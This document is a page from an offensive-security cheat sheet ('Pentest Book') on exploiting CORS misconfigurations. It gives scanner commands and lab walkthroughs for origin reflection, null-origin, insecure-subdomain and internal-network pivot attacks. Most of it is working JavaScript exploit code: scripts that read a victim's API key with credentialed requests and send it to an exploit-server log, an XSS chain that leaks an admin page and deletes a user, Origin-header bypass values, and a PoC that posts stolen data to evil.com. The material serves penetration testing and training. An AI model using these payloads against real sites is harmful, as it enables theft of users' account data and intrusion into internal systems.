Pentest Book
Search…
CORS

Tools

1
# https://github.com/s0md3v/Corsy
2
python3 corsy.py -u https://example.com
3
# https://github.com/chenjj/CORScanner
4
python cors_scan.py -u example.com
5
# https://github.com/Shivangx01b/CorsMe
6
echo "https://example.com" | ./Corsme
7
cat subdomains.txt | ./httprobe -c 70 -p 80,443,8080,8081,8089 | tee http_https.txt
8
cat http_https.txt | ./CorsMe -t 70
9
# CORSPoc
10
# https://tools.honoki.net/cors.html
Copied!
URL accessed
Access permitted?
http://normal-website.com/example/
Yes: same scheme, domain, and port
http://normal-website.com/example2/
Yes: same scheme, domain, and port
https://normal-website.com/example/
No: different scheme and port
http://en.normal-website.com/example/
No: different domain
http://www.normal-website.com/example/
No: different domain
http://normal-website.com:8080/example/
No: different port
In any site disclosing users & passwords (or other sensitive info), try CORS.
1
# Simple test
2
curl --head -s 'http://example.com/api/v1/secret' -H 'Origin: http://evil.com'
3
4
# There are various exceptions to the same-origin policy:
5
• Some objects are writable but not readable cross-domain, such as the location object or the location.href property from iframes or new windows.
6
• Some objects are readable but not writable cross-domain, such as the length property of the window object (which stores the number of frames being used on the page) and the closed property.
7
• The replace function can generally be called cross-domain on the location object.
8
• You can call certain functions cross-domain. For example, you can call the functions close, blur and focus on a new window. The postMessage function can also be called on iframes and new windows in order to send messages from one domain to another.
9
10
# Access-Control-Allow-Origin header is included in the response from one website to a request originating from another website, and identifies the permitted origin of the request. A web browser compares the Access-Control-Allow-Origin with the requesting website's origin and permits access to the response if they match.
11
12
CORS good example:
13
https://hackerone.com/reports/235200
14
15
- CORS with basic origin reflection:
16
17
With your browser proxying through Burp Suite, turn intercept off, log into your account, and click "Account Details".
18
Review the history and observe that your key is retrieved via an AJAX request to /accountDetails, and the response contains the Access-Control-Allow-Credentials header suggesting that it may support CORS.
19
Send the request to Burp Repeater, and resubmit it with the added header: Origin: https://example.com
20
Observe that the origin is reflected in the Access-Control-Allow-Origin header.
21
Now browse to the exploit server, enter the following HTML, replacing $url with the URL for your specific lab and test it by clicking "view exploit":
22
<script>
23
var req = new XMLHttpRequest();
24
req.onload = reqListener;
25
req.open('get','$url/accountDetails',true);
26
req.withCredentials = true;
27
req.send();
28
29
function reqListener() {
30
location='/log?key='+this.responseText;
31
};
32
</script>
33
Observe that the exploit works - you have landed on the log page and your API key is in the URL.
34
Go back to the exploit server and click "Deliver exploit to victim".
35
Click "Access log", retrieve and submit the victim's API key to complete the lab.
36
37
- Whitelisted null origin value
38
39
With your browser proxying through Burp Suite, turn intercept off, log into your account, and click "My account".
40
Review the history and observe that your key is retrieved via an AJAX request to /accountDetails, and the response contains the Access-Control-Allow-Credentials header suggesting that it may support CORS.
41
Send the request to Burp Repeater, and resubmit it with the added header Origin: null.
42
Observe that the "null" origin is reflected in the Access-Control-Allow-Origin header.
43
Now browse to the exploit server, enter the following HTML, replacing $url with the URL for your specific lab, $exploit-server-url with the exploit server URL, and test it by clicking "view exploit":
44
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html, <script>
45
var req = new XMLHttpRequest ();
46
req.onload = reqListener;
47
req.open('get','$url/accountDetails',true);
48
req.withCredentials = true;
49
req.send();
50
51
function reqListener() {
52
location='$exploit-server-url/log?key='+encodeURIComponent(this.responseText);
53
};
54
</script>"></iframe>
55
Notice the use of an iframe sandbox as this generates a null origin request. Observe that the exploit works - you have landed on the log page and your API key is in the URL.
56
Go back to the exploit server and click "Deliver exploit to victim".
57
Click "Access log", retrieve and submit the victim's API key to complete the lab.
58
59
- CORS with insecure certificate
60
61
With your browser proxying through Burp Suite, turn intercept off, log into your account, and click "Account Details".
62
Review the history and observe that your key is retrieved via an AJAX request to /accountDetails, and the response contains the Access-Control-Allow-Credentials header suggesting that it may support CORS.
63
Send the request to Burp Repeater, and resubmit it with the added header Origin: http://subdomain.lab-id where lab-id is the lab domain name.
64
Observe that the origin is reflected in the Access-Control-Allow-Origin header, confirming that the CORS configuration allows access from arbitrary subdomains, both HTTPS and HTTP.
65
Open a product page, click "Check stock" and observe that it is loaded using a HTTP URL on a subdomain.
66
Observe that the productID parameter is vulnerable to XSS.
67
Now browse to the exploit server, enter the following HTML, replacing $your-lab-url with your unique lab URL and $exploit-server-url with your exploit server URL and test it by clicking "view exploit":
68
<script>
69
document.location="http://stock.$your-lab-url/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://$your-lab-url/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://$exploit-server-url/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
70
</script>
71
Observe that the exploit works - you have landed on the log page and your API key is in the URL.
72
Go back to the exploit server and click "Deliver exploit to victim".
73
Click "Access log", retrieve and submit the victim's API key to complete the lab.
74
75
- CORS with pivot attack
76
77
Step 1
78
First we need to scan the local network for the endpoint. Replace $collaboratorPayload with your own Collaborator payload or exploit server URL. Enter the following code into the exploit server. Click store then "Deliver exploit to victim". Inspect the log or the Collaborator interaction and look at the code parameter sent to it.
79
<script>
80
var q = [], collaboratorURL = 'http://$collaboratorPayload';
81
for(i=1;i<=255;i++){
82
q.push(
83
function(url){
84
return function(wait){
85
fetchUrl(url,wait);
86
}
87
}('http://192.168.0.'+i+':8080'));
88
}
89
for(i=1;i<=20;i++){
90
if(q.length)q.shift()(i*100);
91
}
92
function fetchUrl(url, wait){
93
var controller = new AbortController(), signal = controller.signal;
94
fetch(url, {signal}).then(r=>r.text().then(text=>
95
{
96
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
97
}
98
))
99
.catch(e => {
100
if(q.length) {
101
q.shift()(wait);
102
}
103
});
104
setTimeout(x=>{
105
controller.abort();
106
if(q.length) {
107
q.shift()(wait);
108
}
109
}, wait);
110
}
111
</script>
112
Step 2
113
Clear the code from stage 1 and enter the following code in the exploit server. Replace $ip with the IP address and port number retrieved from your collaborator interaction. Don't forget to add your Collaborator payload or exploit server URL again. Update and deliver your exploit. We will now probe the username field for an XSS vulnerability. You should retrieve a Collaborator interaction with foundXSS=1 in the URL or you will see foundXSS=1 in the log.
114
<script>
115
function xss(url, text, vector) {
116
location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
117
}
118
119
function fetchUrl(url, collaboratorURL){
120
fetch(url).then(r=>r.text().then(text=>
121
{
122
xss(url, text, '"><img src='+collaboratorURL+'?foundXSS=1>');
123
}
124
))
125
}
126
127
fetchUrl("http://$ip", "http://$collaboratorPayload");
128
</script>
129
130
Step 3
131
Clear the code from stage 2 and enter the following code in the exploit server. Replace $ip with the same IP address and port number as in step 2 and don't forget to add your Collaborator payload or exploit server again. Update and deliver your exploit. Your Collaborator interaction or your exploit server log should now give you the source code of the admin page.
132
<script>
133
function xss(url, text, vector) {
134
location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
135
}
136
function fetchUrl(url, collaboratorURL){
137
fetch(url).then(r=>r.text().then(text=>
138
{
139
xss(url, text, '"><iframe src=/admin onload="new Image().src=\''+collaboratorURL+'?code=\'+encodeURIComponent(this.contentWindow.document.body.innerHTML)">');
140
}
141
))
142
}
143
144
fetchUrl("http://$ip", "http://$collaboratorPayload");
145
</script>
146
Step 4
147
Read the source code retrieved from step 3 in your Collaborator interaction or on the exploit server log. You'll notice there's a form that allows you to delete a user. Clear the code from stage 3 and enter the following code in the exploit server. Replace $ip with the same IP address and port number as in steps 2 and 3. The code submits the form to delete carlos by injecting an iframe pointing to the /admin page.
148
<script>
149
function xss(url, text, vector) {
150
location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
151
}
152
153
function fetchUrl(url){
154
fetch(url).then(r=>r.text().then(text=>
155
{
156
xss(url, text, '"><iframe src=/admin onload="var f=this.contentWindow.document.forms[0];if(f.username)f.username.value=\'carlos\',f.submit()">');
157
}
158
))
159
}
160
161
fetchUrl("http://$ip");
162
</script>
163
Click on "Deliver exploit to victim" to submit the code. Once you have submitted the form to delete user carlos then you have completed the lab.
164
165
# JSONP
166
167
In GET URL append “?callback=testjsonp”
168
Response should be:
169
testjsonp(<json-data>)
170
171
# Bypasses
172
Origin:null
173
Origin:attacker.com
174
Origin:attacker.target.com
175
Origin:attackertarget.com
176
Origin:sub.attackertarget.com
Copied!

CORS PoC

1
<!DOCTYPE html>
2
<html>
3
<head>
4
<title>CORS PoC Exploit</title>
5
</head>
6
<body>
7
<center>
8
9
<h1>CORS Exploit<br>six2dez</h1>
10
<hr>
11
<div id="demo">
12
<button type="button" onclick="cors()">Exploit</button>
13
</div>
14
<script type="text/javascript">
15
function cors() {
16
var xhttp = new XMLHttpRequest();
17
xhttp.onreadystatechange = function() {
18
if(this.readyState == 4 && this.status == 200) {
19
document.getElementById("demo").innerHTML = this.responseText;
20
}
21
};
22
xhttp.open("GET", "http://<vulnerable-url>", true);
23
xhttp.withCredentials = true;
24
xhttp.send();
25
}
26
</script>
27
28
</center>
29
</body>
30
</html>
Copied!

CORS PoC 2

1
<html>
2
<script>
3
var http = new XMLHttpRequest();
4
var url = 'Url';//Paste here Url
5
var params = 'PostData';//Paste here POST data
6
http.open('POST', url, true);
7
8
//Send the proper header information along with the request
9
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
10
11
http.onreadystatechange = function() {//Call a function when the state changes.
12
if(http.readyState == 4 && http.status == 200) {
13
alert(http.responseText);
14
}
15
}
16
http.send(params);
17
18
</script>
19
</html>
Copied!

CORS PoC 3 - Sensitive Data Leakage

1
<html>
2
<body>
3
<button type='button' onclick='cors()'>CORS</button>
4
<p id='corspoc'></p>
5
<script>
6
function cors() {
7
var xhttp = new XMLHttpRequest();
8
xhttp.onreadystatechange = function() {
9
if (this.readyState == 4 && this.status == 200) {
10
var a = this.responseText; // Sensitive data from target1337.com about user account
11
document.getElementById("corspoc").innerHTML = a;
12
xhttp.open("POST", "https://evil.com", true);// Sending that data to Attacker's website
13
xhttp.withCredentials = true;
14
console.log(a);
15
xhttp.send("data="+a);
16
}
17
};
18
xhttp.open("POST", "https://target1337.com", true);
19
xhttp.withCredentials = true;
20
var body = "requestcontent";
21
var aBody = new Uint8Array(body.length);
22
for (var i = 0; i < aBody.length; i++)
23
aBody[i] = body.charCodeAt(i);
24
xhttp.send(new Blob([aBody]));
25
}
26
</script>
27
</body>
28
</html>
Copied!

CORS JSON PoC

1
<!DOCTYPE html>
2
<html>
3
<head>
4
<title>JSONP PoC</title>
5
</head>
6
<body>
7
<center>
8
9
<h1>JSONP Exploit<br>YourTitle</h1>
10
<hr>
11
<div id="demo">
12
<button type="button" onclick="trigger()">Exploit</button>
13
</div>
14
<script>
15
16
function testjsonp(myObj) {
17
var result = JSON.stringify(myObj)
18
document.getElementById("demo").innerHTML = result;
19
//console.log(myObj)
20
}
21
22
</script>
23
24
<script >
25
26
function trigger() {
27
var s = document.createElement("script");
28
s.src = "https://<vulnerable-endpoint>?callback=testjsonp";
29
document.body.appendChild(s);
30
}
31
32
</script>
33
</body>
34
</html>
Copied!
Last modified 10mo ago